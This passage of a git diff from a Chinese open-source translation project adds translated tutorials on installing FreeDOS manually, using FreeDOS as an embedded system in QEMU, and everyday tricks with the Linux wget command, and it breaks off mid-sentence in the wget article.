来安装你需要的软件。请随意实验!如果你决定你不想要保留一个软件包了,你可以移除它,并为其它的软件包来释放所占用的磁盘空间。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-package-manager + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brown-package-red-bow.jpg?itok=oxZYQzH- +[2]: https://opensource.com/sites/default/files/uploads/fdimples.png +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/fdimples-installed.png +[5]: https://opensource.com/sites/default/files/uploads/fdimples-sound.png +[6]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select.png +[7]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select-ok.png +[8]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select-ok-install4.png +[9]: https://opensource.com/sites/default/files/uploads/fdimples-sound-select_0.png +[10]: https://opensource.com/sites/default/files/uploads/fdimples-unselect-cdp.png +[11]: https://opensource.com/sites/default/files/uploads/fdimples-unselect-cdp-removed.png \ No newline at end of file diff --git a/published/202111/20210614 Install FreeDOS without the installer.md b/published/202111/20210614 Install FreeDOS without the installer.md new file mode 100644 index 0000000000..67c3431c9b --- /dev/null +++ b/published/202111/20210614 Install FreeDOS without the installer.md @@ -0,0 +1,145 @@ +[#]: subject: (Install FreeDOS without the installer) +[#]: via: (https://opensource.com/article/21/6/install-freedos-without-installer) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14022-1.html) + +不使用安装程序安装 FreeDOS +====== + +> 这里是如何在不使用安装程序的情况下来手动设置你的 FreeDOS 系统。 + +![](https://img.linux.net.cn/data/attachment/album/202111/25/235643wvmciyy2f8y3mi73.jpg) + +大多数的人应该能够使用安装程序来非常容易地安装 FreeDOS 1.3 RC4 。FreeDOS 安装程序会先询问几个问题,然后处理剩余的工作,包括为 FreeDOS 制作安装空间和使系统可启动。 + +但是,如果安装程序不适合你怎么办?或者,你更喜欢 _手动_ 设置你的 FreeDOS 系统,而不喜欢使用安装程序怎么办?使用 FreeDOS ,你也可以做到这些!让我们在不使用安装程序的情况下逐步走完安装 FreeDOS 的步骤。我将使用 QEMU 虚拟机的一个空白的硬盘驱动器镜像来完成所有的步骤。我使用这个 Linux 命令来创建了一个 100 MB 的硬盘驱动器镜像: + +``` +$ qemu-img create freedos.img 100M +``` + +我下载了 FreeDOS 1.3 RC4 的 LiveCD ,并将其命名为 `FD13LIVE.iso` ,它提供了一个 “身临其境” 的环境,我可以在其中运行 FreeDOS ,包括所有的标准工具。大多数用户也使用 LiveCD 自带的常规安装程序来安装 FreeDOS 。但是,在这里我将仅使用 LiveCD ,并从其命令行中使用某些类型的命令来安装 FreeDOS 。 + +我使用这个相当长的 QEMU 命令来启动虚拟机,并选择 “Use FreeDOS 1.3 in Live Environment mode” 启动菜单项: + +``` +$ qemu-system-x86_64 -name FreeDOS -machine pc-i440fx-4.2,accel=kvm,usb=off,dump-guest-core=off -enable-kvm -cpu host -m 8 -overcommit mem-lock=off -no-user-config -nodefaults -rtc base=utc,driftfix=slew -no-hpet -boot menu=on,strict=on -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on -hda freedos.img -cdrom FD13LIVE.iso -device sb16 -device adlib -soundhw pcspk -vga cirrus -display sdl -usbdevice mouse +``` + +![manual install][2] + +*选择 "Use FreeDOS 1.3 in Live Environment mode" 来启动 LiveCD(Jim Hall, [CC-BY SA 4.0][3])* + +这个 QEMU 命令行包含大量的选项,乍看可能会让你迷糊。因为你完全使用命令行选项配置 QEMU ,所以在这里有很多东西需要审查。但是,我将简单地重点说明几个重要的选项: + + * `-m 8`:设置系统存储器(RAM)为 8 MB + * `-boot menu=on,strict=on`:使用一个启动菜单,这样,我可以选择从 CD-ROM 镜像或硬盘驱动器镜像启动 + * `-hda freedos.img`:使用 `freedos.img` 作为硬盘驱动器镜像 + * `-cdrom FD13LIVE.iso`:使用 `FD13LIVE.iso` 作为 CD-ROM 镜像 + * `-device sb16 -device adlib -soundhw pcspk`:定义计算机带有一个 SoundBlaster16 声卡、AdLib 数字音乐卡、PC 扬声器模拟器(如果你想玩 DOS 游戏的话,这些模拟器很有用) + * `-usbdevice mouse`:将用户的鼠标识别为一个 USB 鼠标(在 QEMU 窗口中单击以使用鼠标) + +### 对硬盘驱动器进行分区 + +你可以从 LiveCD 使用 FreeDOS 1.3 RC4 ,但是,如果你想安装 FreeDOS 到你的计算机中,你需要先在硬盘驱动器上制作安装空间。这需要使用 FDISK 程序来创建一个 _分区_ 。 + +从 DOS 命令行中,输入 `FDISK` 来运行 _分区_ 设置程序。FDISK 是一个全屏交互式程序,你只需要输入数字来选择菜单项。从 FDISK 的主菜单中,输入 `1` 来在驱动器上创建一个 DOS 分区,然后在接下来的屏幕上输入 `1` 来创建一个 “主” DOS 分区。 + +![using fdisk][4] + +*选择 `1` 来创建一个分区(Jim Hall, [CC-BY SA 4.0][3])* + +![using fdisk][5] + +*在接下来的菜单上选择 `1` 来制作一个主分区(Jim Hall, [CC-BY SA 4.0][3])* + +`FDISK` 会询问你是否想要使用全部的硬盘空间大小来创建分区。除非你需要在这个硬盘驱动器上和另外一个操作系统(例如 Linux)共享硬盘空间,否则,对于这个提示,你应该回答 `Y` 。 + +在 `FDISK` 创建新的分区后,在 DOS 能够识别新的分区信息前,你将需要重新启动 DOS 。像所有的 DOS 操作系统一样,FreeDOS 仅在其启动时识别硬盘驱动器信息。因此,如果你创建或删除任何的磁盘分区的话,你都将需要重新启动 FreeDOS ,只有这样做,FreeDOS 才能识别到更改的分区信息。`FDISK` 会提醒你重新启动,因此,你是不会忘记的。 + +![using fdisk][6] + +*你需要重新启动以识别新的分区(Jim Hall, [CC-BY SA 4.0][3])* + +你可以通过停止或重新启动 QEMU 虚拟机来重新启动 FreeDOS,但是我更喜欢在 FreeDOS 命令行中使用 FreeDOS 的高级电源管理(`FDADPM`)工具来重新启动 FreeDOS 。为了重新启动,输入命令 `FDADPM /WARMBOOT` ,FreeDOS 将自动重新启动。 + +### 对硬盘驱动器进行格式化 + +在 FreeDOS 重新启动后,你可以继续设置硬盘驱动器。创建磁盘分区是这个过程的“第一步”;现在你需要在分区上创建一个 DOS _文件系统_ ,以便 FreeDOS 可以使用它。 + +DOS 系统使用字母 `A` 到 `Z` 来识别“驱动器”。FreeDOS 将识别第一个硬盘驱动器的第一个分区为 `C` 驱动器,依此论推。你经常使用字母和一个冒号(`:`)来表示驱动器,因此我们在上面创建的新分区实际上是 `C:` 驱动器。 + +你可以在新的分区上使用 `FORMAT` 命令来创建一个 DOS 文件系统。这个命令带有一些选项,但是,我们将仅使用 `/S` 选项来告诉 `FORMAT` 来使新的文件系统可启动: `S` 意味着安装 FreeDOS “系统” 文件。输入 `FORMAT /S C:` 来在 `C:` 驱动器上制作一个新的 DOS 文件系统。 + +![formatting the disk][7] + +*格式化分区来创建 DOS 文件系统(Jim Hall, [CC-BY SA 4.0][3])* + +使用 `/S` 选项,`FORMAT` 将运行 `SYS` 程序来传输系统文件。你将看到这是从 `FORMAT` 输出的一部分: + +![formatting the disk][8] + +*`FORMAT /S` 将使用 SYS 来使磁盘可启动(Jim Hall, [CC-BY SA 4.0][3])* + +### 安装软件 + +在使用 `FDISK` 创建了一个新的分区,并使用 `FORMAT` 创建了一个新的文件系统后, 新的 `C:` 驱动器基本上是空的。此时,`C:` 驱动器仅包含一份内核和 `COMMAND.COM` 命令行 shell 的副本。为使新的磁盘可以执行一些有用的操作,我们需要在其上安装软件。这是手动安装过程的最后步骤。 + +FreeDOS 1.3 RC4 LiveCD 包含所有的你可能希望在新的系统上所要安装的软件。每个 FreeDOS 程序都是一个单独的 “软件包” ,它实际上只是一个 Zip 档案文件。建立标准 DOS 环境的软件包存储在 LiveCD 上 `PACKAGES` 目录下的 `BASE` 目录之中。 + +你可以一次一个的将其中的每一个软件包都 “解压缩” 到硬盘驱动器来完成安装。在 `Base` 组中有 62 个单独的软件包,如果每次安装一个软件包,这可能会花费非常多的时间。不过,你可以运行一个只有一行的 `FOR` “循环” 命令来 `UNZIP` 每个程序。接下来 FreeDOS 可以为你 “解压缩” 所有的软件包。 + +`FOR` 循环的基本用法中提及的一个单个字母变量(让我们使用 `%F`),稍后,FreeDOS 将使用该字母变量来 “填充” 文件名称。`FOR` 还需要括号中的一个文件列表,这个命令会对每个文件都运行一次。用来解压一系列的 Zip 文件的语法看起来像这样: + +``` +FOR %F IN (*.ZIP) DO UNZIP %F +``` + +这将提取所有的 Zip 文件到当前目录之中。为提取或 `UNZIP` 文件到一个不同的位置,在 `UNZIP` 命令行结尾处使用 `-d` (“目的地”) 选项。对于大多数的 FreeDOS 系统来说,你应该安装软件包到 `C:\FDOS` 目录中: + +![installing the software][9] + +*解压缩所有的基本软件包来完成安装 FreeDOS(Jim Hall, [CC-BY SA 4.0][3])* + +FreeDOS 会处理剩余的工作,安装所有的 62 个软件包到你的系统之中。这可能会花费几分钟的时间,因为 DOS 在处理很多单个的文件时会很慢,这个命令需要提取 62 个 Zip 文件。如果我们使用单个的 `BASE.ZIP` 档案文件的话,安装过程可能会运行地更快,但是使用软件包的话,在你选择想要安装或不安装软件包时会提供更多的灵活性。 + +![installing the software][10] + +*在安装所有的基本软件包后(Jim Hall, [CC-BY SA 4.0][3])* + +在我们安装完所有的东西后,使用 `FDADPM /WARMBOOT` 来重新启动你的系统。手动安装意味着你的新 FreeDOS 系统没有常见的 `FDCONFIG.SYS` 配置文件,因此,当 FreeDOS 在启动时,它将假设一些典型的默认值。因为没有 `AUTOXEC.BAT` 文件,FreeDOS 也会提示你时间和日期。 + +![rebooting FreeDOS][11] + +*在手动安装后,重新启动 FreeDOS(Jim Hall, [CC-BY SA 4.0][3])* + +大多数的用户应该能够使用比较用户友好的过程来在一台新的计算机上安装 FreeDOS 。但是如果你想自己使用“古老的”方法来安装它,那么你可以手动运行安装步骤。这会提供一些额外的灵活性和控制权,因为是你自己安装的一切。现在你知道如何安装它了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/install-freedos-without-installer + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/freedos-fish-laptop-color.png?itok=vfv_Lpph (FreeDOS fish logo and command prompt on computer) +[2]: https://opensource.com/sites/default/files/uploads/manual-install3.png (Select "Use FreeDOS 1.3 in Live Environment mode" to boot the LiveCD) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/manual-install6.png (Select "1" to create a partition) +[5]: https://opensource.com/sites/default/files/uploads/manual-install7.png (Select "1" on the next menu to make a primary partition) +[6]: https://opensource.com/sites/default/files/uploads/manual-install10.png (You need to reboot to recognize the new partition) +[7]: https://opensource.com/sites/default/files/uploads/manual-install13.png (Format the partition to create the DOS filesystem) +[8]: https://opensource.com/sites/default/files/uploads/manual-install14.png (FORMAT /S will use SYS to make the disk bootable) +[9]: https://opensource.com/sites/default/files/uploads/manual-install18.png (Unzip all of the Base packages to finish installing FreeDOS) +[10]: https://opensource.com/sites/default/files/uploads/manual-install24.png (After installing all the Base packages) +[11]: https://opensource.com/sites/default/files/uploads/manual-install28.png (Rebooting FreeDOS after a manual install) diff --git a/published/202111/20210616 How to use FreeDOS as an embedded system.md b/published/202111/20210616 How to use FreeDOS as an embedded system.md new file mode 100644 index 0000000000..66abb74c34 --- /dev/null +++ b/published/202111/20210616 How to use FreeDOS as an embedded system.md @@ -0,0 +1,143 @@ +[#]: subject: (How to use FreeDOS as an embedded system) +[#]: via: (https://opensource.com/article/21/6/freedos-embedded-system) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14014-1.html) + +如何将 FreeDOS 作为嵌入式系统使用 +====== + +> 现在,很多嵌入式系统都是在 Linux 上运行的。但是,在很久很久以前,嵌入式系统要么在一个定制的专有的平台上运行,要么在 DOS 上运行。 + +![](https://img.linux.net.cn/data/attachment/album/202111/24/134734s6zuftzjgtt8herp.jpg) + +[FreeDOS 网站][2] 宣称,大多数人使用 FreeDOS 来完成三项主要任务: + + 1. 玩经典的 DOS 游戏 + 2. 运行老式的 DOS 软件 + 3. 运行一款嵌入式系统 + +但是,运行一个“嵌入式”系统的意义是什么呢? + +嵌入式系统基本上是一款非常小的系统,专用于运行一个特定的任务。你可以把现在的嵌入式系统当作是 _物联网_(IoT)的一部分,这包括传感器、恒温器和门铃摄像头。现在,很多嵌入式系统都是在 Linux 上运行的。 + +但是,在很久很久以前,嵌入式系统要么在一个定制的专有的平台上运行,要么在 DOS 系统上运行。在现在,一些基于 DOS 的嵌入式系统仍然在运行,例如,收银机或电话专用交换机(PBX)系统。举个例子来说,在 2017 年,酷爱列车的人发现一个正在运行 FreeDOS 的俄罗斯的电动列车控制系统 (俄语: _САВПЭ_),它使用特殊的软件来控制和监控郊区列车的线路,并发布乘客通告。 + +在 DOS 上建立一个嵌入式系统需要定义一个最小化的 DOS 环境来运行单个应用程序。幸运的是,设置一个最小化的 FreeDOS 环境是非常容易的。从技术上来说,启动 FreeDOS 并运行 DOS 应用程序仅需要内核和一个 `FDCONFIG.SYS` 配置文件。 + +### 安装一款最小化的系统 + +我们可以使用 QEMU 仿真器来模拟一个专用的、最小化的 FreeDOS 系统,并给它分配很少的资源。为了更准确地反映一个嵌入式系统,我将定义一个只有 8 MB 的存储器和仅仅有 2 MB 的硬盘驱动器的虚拟机。 + +为创建这个微小的虚拟硬盘,我将使用这个 `qemu-img` 命令来定义一个 2M 的文件: + +``` +$ qemu-img create tiny.img 2M +Formatting 'tiny.img', fmt=raw size=2097152 +``` + +下面的这行命令定义了一个 32 位的 “i386” CPU、8MB 的存储器,使用 2MB 的 `tiny.img` 文件作为硬盘驱动器镜像,使用 FreeDOS 1.3 RC4 LiveCD 作为 CD-ROM 介质。我们也将机器设置为从 CD-ROM 驱动器启动(`-boot order=d`),尽管我们只需要用它来安装系统。在我们完成所有的设置后,我们将从该硬盘启动完成的嵌入式系统: + +``` +qemu-system-i386 -m 8 -hda tiny.img -cdrom FD13LIVE.iso -boot order=d +``` + +使用 “现场环境模式Live Environment mode” 来启动系统,这将为我们提供一个正在运行的 FreeDOS 系统,我们可以使用它来将一个最小化的 FreeDOS 转移到硬盘上。 + +![embedded setup][3] + +*启动到 LiveCD 环境之中(Jim Hall, [CC-BY SA 4.0][4])* + +我们需要在虚拟硬盘驱动器上为我们的程序创建一个分区。为此,从命令行中运行 `FDISK` 程序。`FDISK` 是 FreeDOS 上的一个标准的 _磁盘分区_ 实用程序。使用 `FDISK` 来创建一个单个硬盘驱动器分区,占用整个(2 MB)硬盘驱动器。 + +![embedded setup][5] + +*FDISK,在创建 2 MB 分区后(Jim Hall, [CC-BY SA 4.0][4])* + +但是,在你重新启动 FreeDOS 之前,FreeDOS 不会看到新的硬盘驱动器分区 — FreeDOS 仅在启动时读取硬盘详细信息。退出 `FDISK` ,并重新启动 FreeDOS 。 + +在重新启动后,你需要在新的硬盘驱动器上创建一个 DOS 文件系统。因为这里只有一个虚拟硬盘,FreeDOS 将识别其为 `C:` 驱动器。你可以使用 `FORMAT` 命令来在 `C:` 驱动器上创建一个 DOS 文件系统。使用 `/S` 选项将把操作系统文件(内核,外加一个 `COMMAND.COM` shell 的副本)转移到新的驱动器上。 + +![embedded setup][6] + +*格式化新的驱动器来创建一个 DOS 文件系统(Jim Hall, [CC-BY SA 4.0][4])* +  +你已经创建了硬盘驱动器并将其格式化,现在,你可以安装应用程序,这些应用程序是将会在新安装的嵌入式系统上运行的。 + +### 安装专用的应用程序 + +嵌入式系统实际上只是一个运行在一个专用系统上的单一用途的应用程序。这些应用程序通常是为其将要控制的系统而自定义构建的,例如,一台收银机、显示终端、或控制环境。在这个演示中,让我们使用一个来自 FreeDOS 1.3 RC4 安装光盘中的程序。它需要足够小,以适应我们为其创建的 2 MB 微型硬盘驱动器。这可以是任何东西,所以,为了好玩,让我们把它变成一个游戏。 + +FreeDOS 1.3 RC4 包含一些有趣的游戏。我喜欢的一个游戏是一个名称为 “Simple Senet” 的棋类游戏。它是一个基于 Senet 的古埃及棋类游戏。游戏的细节对这个演示并不重要,我们将安装它,并将其设置为嵌入式系统的专业应用程序。 + +为安装应用程序,在 FreeDOS 1.3 RC4 LiveCD 上,进入 `\PACKAGES\GAMES` 目录。你将在其中看到一个很长的软件包列表,而我们想要的 `SENET.ZIP` 。 + +![embedded setup][7] + +*来自 FreeDOS 1.3 RC4 的一个游戏软件包列表(Jim Hall, [CC-BY SA 4.0][4])* + +为解压缩 “Simple Senet” 软件包到虚拟硬盘上,使用 `UNZIP` 命令。所有的 FreeDOS 软件包都是 Zip 文件,因此,你可以使用任意与 Zip 兼容的档案实用程序来管理它们。FreeeDOS 1.3 RC4 包含创建 Zip 档案文件的 `ZIP` 和提取 Zip 档案文件的 `UNZIP` 。它们都来自 [Info-Zip 项目][8] 。 + +``` +UNZIP SENET.ZIP -d C:\FDOS +``` + +通常,使用 `UNZIP` 来提取 Zip 文件到当前目录中。在命令行结尾的 `-d C:\FDOS` 选项将告诉 `UNZIP` 来提取 Zip 文件到 `C:\FDOS` 目录之中。(`-d` 指的是“目的地”) + +![embedded setup][9] + +*解压缩 Simple Senet 游戏(Jim Hall, [CC-BY SA 4.0][4])* + +为了让嵌入式系统启动时运行 “Simple Senet” 游戏,我们需要告诉 FreeDOS 来使用 Senet 作为系统的 “shell” 。 默认的 FreeDOS 的 shell 是 `COMMAND.COM` 程序,但是,你可以在 `FDCONFIG.SYS` 内核配置文件中使用 `SHELL=` 指令来定义一个不同的 shell 程序。我们可以使用 FreeDOS 的 Edit 来创建新的 `C:\FDCONFIG.SYS` 文件。 + +![Embedded edit senet][10] + +*(Jim Hall, [CC-BY SA 4.0][4])* + +如果你需要定义其它的参数来支持嵌入式系统,你可以将其添加到 `FDCONFIG.SYS` 文件之中。例如,你可能需要使用 `SET` 动作来设置环境变量,或者使用 `FILES=` 或 `BUFFERS=` 语句来调整 FreeDOS 内核。 + +### 运行嵌入式系统 + +在全面地完成嵌入式系统的定义之后,现在,我们可以重新启动计算机来运行嵌入式应用程序。运行一个嵌入式系统通常仅需要有限的资源,因此,在这个演示中,我们需要调整 QEMU 命令行来只从硬盘驱动器(`-boot order=c`)中启动,而不再定义一个 CD-ROM 驱动器: + +``` +qemu-system-i386 -m 8 -hda tiny.img -boot order=c +``` + +当 FreeDOS 内核启动时,它将读取 `FDCONFIG.SYS` 文件以获取启动参数。然后,它将使用 `SHELL=` 行的定义来运行 shell 。这将自动地运行 “Simple Senet” 游戏。 + +![embedded setup][11] + +*作为一个嵌入式系统运行 Simple Senet(Jim Hall, [CC-BY SA 4.0][4])* + +我们已经使用了 “Simple Senet” 来演示如何在 FreeDOS 上设置一个嵌入式系统。根据你的需要,你可以使用任何你喜欢的独立应用程序。在 `FDCONFIG.SYS` 中使用 `SHELL=` 行将其定义为 DOS 的 shell ,FreeDOS 将在启动时自动地启动该应用程序。 + +不过,在这里有一个限制。嵌入式系统通常不需要退回到一个命令行提示符之中,因此这些专用应用程序通常不允许用户退出到 DOS 之中。如果你设法退出了嵌入式应用程序,你可能会看到一个 “Bad or missing Command Interpreter” 的提示,你将需要在其中输入一个新的 shell 的完整路径。对于一个以用户为中心的桌面系统来说,这将是一个问题。但是在一个嵌入式系统上,它只专注执行一种工作的,那么,你也永远不需要退出嵌入式应用程序。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-embedded-system + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_space_graphic_cosmic.png?itok=wu493YbB (Computer laptop in space) +[2]: https://www.freedos.org/ +[3]: https://opensource.com/sites/default/files/uploads/embedded-setup02.png (Boot into the LiveCD environment) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/uploads/embedded-setup09.png (FDISK, after creating the 2 megabyte partition) +[6]: https://opensource.com/sites/default/files/uploads/embedded-setup19.png (Format the new drive to create a DOS filesystem) +[7]: https://opensource.com/sites/default/files/uploads/games-dir.png (A list of game packages from FreeDOS 1.3 RC4) +[8]: http://infozip.sourceforge.net/ +[9]: https://opensource.com/sites/default/files/uploads/senet-unzip.png (Unzipping the Simple Senet game) +[10]: https://opensource.com/sites/default/files/pictures/embedded-edit-senet.png (Embedded edit senet) +[11]: https://opensource.com/sites/default/files/uploads/senet.png (Running Simple Senet as an embedded system) diff --git a/published/20210816 Parse command-line arguments with argparse in Python.md b/published/202111/20210816 Parse command-line arguments with argparse in Python.md similarity index 100% rename from published/20210816 Parse command-line arguments with argparse in Python.md rename to published/202111/20210816 Parse command-line arguments with argparse in Python.md diff --git a/published/20210909 How to Change Color of Ubuntu Terminal.md b/published/202111/20210909 How to Change Color of Ubuntu Terminal.md similarity index 100% rename from published/20210909 How to Change Color of Ubuntu Terminal.md rename to published/202111/20210909 How to Change Color of Ubuntu Terminal.md diff --git a/published/20210909 How to change Ubuntu Terminal Font and Size -Beginner-s Tip.md b/published/202111/20210909 How to change Ubuntu Terminal Font and Size -Beginner-s Tip.md similarity index 100% rename from published/20210909 How to change Ubuntu Terminal Font and Size -Beginner-s Tip.md rename to published/202111/20210909 How to change Ubuntu Terminal Font and Size -Beginner-s Tip.md diff --git a/published/20210911 How to Set JAVA_HOME Variable in Ubuntu Linux Correctly.md b/published/202111/20210911 How to Set JAVA_HOME Variable in Ubuntu Linux Correctly.md similarity index 100% rename from published/20210911 How to Set JAVA_HOME Variable in Ubuntu Linux Correctly.md rename to published/202111/20210911 How to Set JAVA_HOME Variable in Ubuntu Linux Correctly.md diff --git a/published/20211017 Visual Studio Code or Atom- Which Code Editor Should You Use.md b/published/202111/20211017 Visual Studio Code or Atom- Which Code Editor Should You Use.md similarity index 100% rename from published/20211017 Visual Studio Code or Atom- Which Code Editor Should You Use.md rename to published/202111/20211017 Visual Studio Code or Atom- Which Code Editor Should You Use.md diff --git a/published/20211019 Annotator- Open-Source App for Linux to Easily Add Essential Annotations to Your Images.md b/published/202111/20211019 Annotator- Open-Source App for Linux to Easily Add Essential Annotations to Your Images.md similarity index 100% rename from published/20211019 Annotator- Open-Source App for Linux to Easily Add Essential Annotations to Your Images.md rename to published/202111/20211019 Annotator- Open-Source App for Linux to Easily Add Essential Annotations to Your Images.md diff --git a/published/20211019 What is Build Essential Package in Ubuntu- How to Install it.md b/published/202111/20211019 What is Build Essential Package in Ubuntu- How to Install it.md similarity index 100% rename from published/20211019 What is Build Essential Package in Ubuntu- How to Install it.md rename to published/202111/20211019 What is Build Essential Package in Ubuntu- How to Install it.md diff --git a/published/202111/20211021 7 handy tricks for using the Linux wget command.md b/published/202111/20211021 7 handy tricks for using the Linux wget command.md new file mode 100644 index 0000000000..b2ffe1dc55 --- /dev/null +++ b/published/202111/20211021 7 handy tricks for using the Linux wget command.md @@ -0,0 +1,182 @@ +[#]: subject: "7 handy tricks for using the Linux wget command" +[#]: via: "https://opensource.com/article/21/10/linux-wget-command" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "zengyi1001" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14007-1.html" + +七个使用 wget 命令的技巧 +====== + +> 用你的 Linux 终端中从互联网上下载文件。 + +![](https://img.linux.net.cn/data/attachment/album/202111/22/102927pjuji5juxzuikkg6.jpg) + +`wget` 是一个下载网页文件的免费工具。它将互联网上的数据保存到一个文件或展示在终端上。实际上这也是像 Firefox 或 Chromium 这样的网页浏览器的工作原理。有一个区别是,网页浏览器默认将网页 渲染render在图形窗口中,并且通常需要用户主动来操作它们。而 `wget` 工具是无交互的使用方式,也就是说你可以使用脚本或定期使用 `wget` 来下载文件,不论你人是否在电脑面前。 + +### 使用 wget 下载文件 + +你可以通过提供一个特定 URL 的链接,用 `wget` 下载一个文件。如果你提供一个默认为 `index.html` 的 URL,那么就会下载该索引页。默认情况下,文件会被下载到你当前的工作目录,并保持原来的名字。 + +``` +$ wget http://example.com +--2021-09-20 17:23:47-- http://example.com/ +Resolving example.com... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946 +Connecting to example.com|93.184.216.34|:80... connected. +HTTP request sent, awaiting response... 200 OK +Length: 1256 (1.2K) [text/html] +Saving to: 'index.html' +``` + +通过使用 `--output-document` 和 `-` 符号,你可以指示 `wget` 将数据发送到 标准输出stdout: + +``` +$ wget http://example.com --output-document - | head -n4 + + + + Example Domain +``` + +你可以使用 `--output-document` 选项(简写为 `-O`)将下载文件命名为任何你想要的名称: + +``` +$ wget http://example.com --output-document foo.html +``` + +### 断点续传 + +如果你正在下载一个超大文件,你可能会遇到中断下载的情况。使用 `--continue`(简写为 `-c`),`wget` 可以确定从文件的哪个位置开始继续下载。也就是说,下次你在下载一个 4 GB 的 Linux 发行版 ISO 时,如果出现了错误导致中断,你不必重新从头开始。 + +``` +$ wget --continue https://example.com/linux-distro.iso +``` + +### 下载一系列的文件 + +如果你要下载的不是单个大文件,而是一系列的文件,`wget` 也能提供很好的帮助。假如你知道要下载文件的路径以及文件名的通用范式,你可以使用 Bash 语法指示一个数字范围的起始和终点来表示这一系列文件名: + +``` +$ wget http://example.com/file_{1..4}.webp +``` + +### 镜像整个站点 + +使用 `--mirror` 选项你可以下载整个站点,包括它的目录结构。这与使用选项 `--recursive --level inf --timestamping --no-remove-listing` 的效果是一样的,该选项表明可以进行无限制的递归,得到你指定域下的所有内容。但你也可能会得到比预期多得多的内容,这取决于站点本身的老旧程度。 + +如果你正在使用 `wget` 来打包整个站点,选项 `--no-cookies --page-requisites --convert-links` 非常有用,它可以确保打包的站点是全新且完整的,站点副本或多或少是自包含的self-contained。 + +### 修改 HTML 标头 + +在计算机发送的通信报文里含有大量用于数据交换的元数据metadata。HTTP 标头是初始数据的组成部分。当你浏览某个站点时,你的浏览器会发送 HTTP 请求标头。使用 `--debug` 选项可以查看 `wget` 为每个请求发送了什么样的标头信息: + +``` +$ wget --debug example.com +---request begin--- +GET / HTTP/1.1 +User-Agent: Wget/1.19.5 (linux-gnu) +Accept: */* +Accept-Encoding: identity +Host: example.com +Connection: Keep-Alive + +---request end--- +``` + +你可以使用 `--header` 选项修改请求标头。实际上经常使用这种方式来模仿某特定浏览器,来测试或兼容某些编码糟糕、只能与特定代理通信的站点。 + +让请求被识别为来自 Windows 系统的 Microsoft Edge: + +``` +$ wget --debug --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59" http://example.com +``` + +你也可以假装为某个移动设备: + +``` +$ wget --debug --header="User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1" http://example.com +``` + +### 查看响应标头 + +与浏览器发送请求标头的方式一样,响应也包含有标头信息。你可以使用 `--debug` 选项来查看响应中的标头信息: + +``` +$ wget --debug example.com +[...] +---response begin--- +HTTP/1.1 200 OK +Accept-Ranges: bytes +Age: 188102 +Cache-Control: max-age=604800 +Content-Type: text/html; charset=UTF-8 +Etag: "3147526947" +Server: ECS (sab/574F) +Vary: Accept-Encoding +X-Cache: HIT +Content-Length: 1256 + +---response end--- +200 OK +Registered socket 3 for persistent reuse. +URI content encoding = 'UTF-8' +Length: 1256 (1.2K) [text/html] +Saving to: 'index.html' +``` + +### 处理 301 响应 + +200 响应码意味着一切都在预料之中。而 301 响应则表示 URL 已经被永久迁移到了另外一个地方。这是站点管理员的一种常用手段,内容迁移后,为访问旧地址的用户留下寻找新地址的“线索”。`wget` 会默认跟随重定向redirect,这也是大部分情况下用户所希望的。 + +当然,你可以使用 `--max-redirect` 选项,用于控制 `wget` 默认处理 301 响应重定向的次数。设置为 `0` 意味着不会自动重定向到新的地址: + +``` +$ wget --max-redirect 0 http://iana.org +--2021-09-21 11:01:35-- http://iana.org/ +Resolving iana.org... 192.0.43.8, 2001:500:88:200::8 +Connecting to iana.org|192.0.43.8|:80... connected. +HTTP request sent, awaiting response... 301 Moved Permanently +Location: https://www.iana.org/ [following] +0 redirections exceeded. +``` + +同时,你也可以设置为其他的数值来控制 `wget` 能重定向多少次。 + +### 展开 URL 缩写 + +使用`--max-redirect` 选项用于在实际访问之前查看 URL 缩写shortened URL非常有用。缩写 URL 可用于用户无法完整拷贝和粘贴一个长 URL 